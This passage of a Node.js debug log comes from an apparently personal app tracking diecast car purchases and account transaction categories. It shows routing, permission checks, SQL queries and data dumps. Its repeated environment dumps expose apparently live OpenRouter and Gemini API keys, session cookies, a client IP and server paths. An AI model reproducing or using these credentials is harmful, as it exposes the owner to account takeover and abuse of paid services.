      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T12:32:08.292Z server-connect:router Serving templateView /collections
2026-02-03T12:32:08.293Z server-connect:app Executing action step identify
2026-02-03T12:32:08.293Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:08.293Z server-connect:output identity: 1
2026-02-03T12:32:08.293Z server-connect:app Executing action step restrict
2026-02-03T12:32:08.293Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:32:08.295Z server-connect:output restrict: undefined
2026-02-03T12:32:08.295Z server-connect:router Render template masters/collections
2026-02-03T12:32:08.296Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:32:08.578Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-03T12:32:08.578Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:08.578Z server-connect:app Executing action step identify
2026-02-03T12:32:08.578Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:08.579Z server-connect:output identity: 1
2026-02-03T12:32:08.579Z server-connect:app Executing action step restrict
2026-02-03T12:32:08.579Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:08.579Z server-connect:app Executing action step identify
2026-02-03T12:32:08.579Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:08.579Z server-connect:output identity: 1
2026-02-03T12:32:08.579Z server-connect:app Executing action step restrict
2026-02-03T12:32:08.579Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:08.579Z server-connect:output restrict: undefined
2026-02-03T12:32:08.580Z server-connect:app Executing action step select
2026-02-03T12:32:08.580Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-03T12:32:08.581Z server-connect:output restrict: undefined
2026-02-03T12:32:08.581Z server-connect:app Executing action step paged
2026-02-03T12:32:08.581Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:08.583Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-03T12:32:08.586Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:32:13.423Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:13.423Z server-connect:app Executing action step identify
2026-02-03T12:32:13.423Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:13.424Z server-connect:output identity: 1
2026-02-03T12:32:13.424Z server-connect:app Executing action step restrict
2026-02-03T12:32:13.424Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:13.424Z server-connect:output restrict: undefined
2026-02-03T12:32:13.424Z server-connect:app Executing action step paged
2026-02-03T12:32:13.424Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:13.426Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 54,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:32:26.303Z server-connect:router Serving templateView /diecast
2026-02-03T12:32:26.303Z server-connect:app Executing action step identify
2026-02-03T12:32:26.303Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:26.304Z server-connect:output identity: 1
2026-02-03T12:32:26.304Z server-connect:app Executing action step restrict
2026-02-03T12:32:26.304Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:32:26.304Z server-connect:output restrict: undefined
2026-02-03T12:32:26.304Z server-connect:router Render template diecast
2026-02-03T12:32:26.304Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
